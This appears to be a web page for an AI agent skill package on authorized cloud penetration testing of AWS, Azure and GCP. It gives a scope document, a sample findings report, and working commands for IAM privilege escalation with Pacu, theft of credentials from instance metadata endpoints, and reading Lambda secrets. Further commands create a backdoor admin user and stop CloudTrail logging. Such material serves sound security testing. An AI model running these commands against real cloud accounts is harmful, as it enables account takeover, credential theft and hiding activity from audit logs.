Loading...
Loading...
This skill outlines methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF to cloud metadata services, and reporting findings aligned to MITRE ATT&CK Cloud matrix.
npx skill4agent add mukul975/anthropic-cybersecurity-skills conducting-cloud-penetration-testingCloud Penetration Test Scope Document
=======================================
Target: AWS Account 123456789012 (Production)
Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC
Authorization: Signed by CISO, dated 2025-02-20
IN SCOPE:
- IAM users, roles, policies, and cross-account trust
- EC2 instances, security groups, and network ACLs
- S3 bucket policies and data access controls
- Lambda functions, API Gateway endpoints
- RDS/DynamoDB access controls and encryption
- EKS cluster RBAC and network policies
- CloudTrail, Config, and monitoring gaps
OUT OF SCOPE:
- AWS managed service internals (RDS engine, Lambda runtime)
- DDoS attacks or volumetric testing
- Physical infrastructure or hypervisor attacks
- Social engineering of AWS support
EMERGENCY CONTACT: security-ops@company.com, +1-555-0199# ScoutSuite multi-cloud assessment
scout suite aws --profile target-account --report-dir ./scout-report
# Prowler comprehensive AWS security assessment
prowler aws -M json-ocsf -o ./prowler-output --profile target-account
# CloudFox for identifying privilege escalation paths
cloudfox aws --profile target-account all-checks
# Enumerate public S3 buckets
for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do
aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket"
done
# Check for IMDS v1 (vulnerable to SSRF)
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
--output table# Initialize Pacu session
pacu
# Set stolen or test credentials
set_keys --key-alias test-creds
# Run IAM enumeration modules
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
# Check for privilege escalation paths
run iam__privesc_scan
# Common escalation paths to test:
# 1. iam:CreatePolicyVersion - Create new policy version with admin access
# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self
# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role
# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile
# 5. sts:AssumeRole - Cross-account role assumption without MFA condition# Test for IMDS v1 access (no token required)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Test for IMDS v2 (requires token - more secure)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure IMDS equivalent
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP metadata service
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"# Enumerate cross-account role trusts
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table
# Test cross-account assumption
aws sts assume-role \
--role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
--role-session-name pentest-session
# Enumerate accessible S3 data with stolen credentials
aws s3 ls --recursive s3://target-bucket/ --summarize
# Check Lambda environment variables for secrets
aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
aws lambda get-function-configuration --function-name "$fn" \
--query 'Environment.Variables' --output json 2>/dev/null
done# Test: Create backdoor IAM user (authorized test only)
aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Test: Disable CloudTrail (verify GuardDuty alerts)
aws cloudtrail stop-logging --name management-trail
# Test: Create Lambda for persistence (authorized test only)
# Verify: Did GuardDuty generate Stealth:IAMUser/CloudTrailLoggingDisabled?
# Verify: Did Security Hub alert on the new admin user?
# CLEANUP: Remove all persistence artifacts after testing
aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trail| Term | Definition |
|---|---|
| Shared Responsibility Model | Cloud security framework where the provider secures infrastructure and the customer secures data, configurations, and access controls |
| IMDS | Instance Metadata Service at 169.254.169.254 that provides instance identity, credentials, and configuration data; IMDSv2 requires token-based access |
| Privilege Escalation | Exploiting IAM misconfigurations to elevate from limited permissions to administrative access within a cloud account |
| Lateral Movement | Using compromised credentials or trust relationships to access resources in other accounts, VPCs, or cloud providers |
| Pacu | Open-source AWS exploitation framework for penetration testing, providing modules for enumeration, escalation, and persistence |
| ScoutSuite | Multi-cloud security auditing tool that collects configuration data and generates HTML reports with risk findings |
| MITRE ATT&CK Cloud | Adversary tactics and techniques matrix specific to cloud environments including Initial Access, Execution, Persistence, and Exfiltration |
Cloud Penetration Test Report
===============================
Target: AWS Account 123456789012 (Production)
Testing Period: 2025-02-24 to 2025-02-28
Methodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide
Tester: Security Team - Authorized Engagement
EXECUTIVE SUMMARY:
Starting with read-only developer credentials, the assessment achieved
full administrative access to the production account within 3 hours through
an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics.
CRITICAL FINDINGS:
[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion
ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)
Severity: CRITICAL
Starting Point: Developer role with iam:CreatePolicyVersion permission
Impact: Full administrative access to all account resources
Evidence: Created policy version granting iam:* and s3:* to test role
Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary
[PT-002] SSRF to IMDS Credential Theft
ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
Severity: CRITICAL
Starting Point: Web application URL parameter vulnerable to SSRF
Impact: Extracted IAM role credentials with S3 and Lambda access
Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope
FINDING SUMMARY BY MITRE ATT&CK TACTIC:
Initial Access: 4 findings
Execution: 3 findings
Persistence: 6 findings
Privilege Escalation: 8 findings (3 Critical)
Defense Evasion: 5 findings
Credential Access: 7 findings
Discovery: 14 findings
Total: 47 findings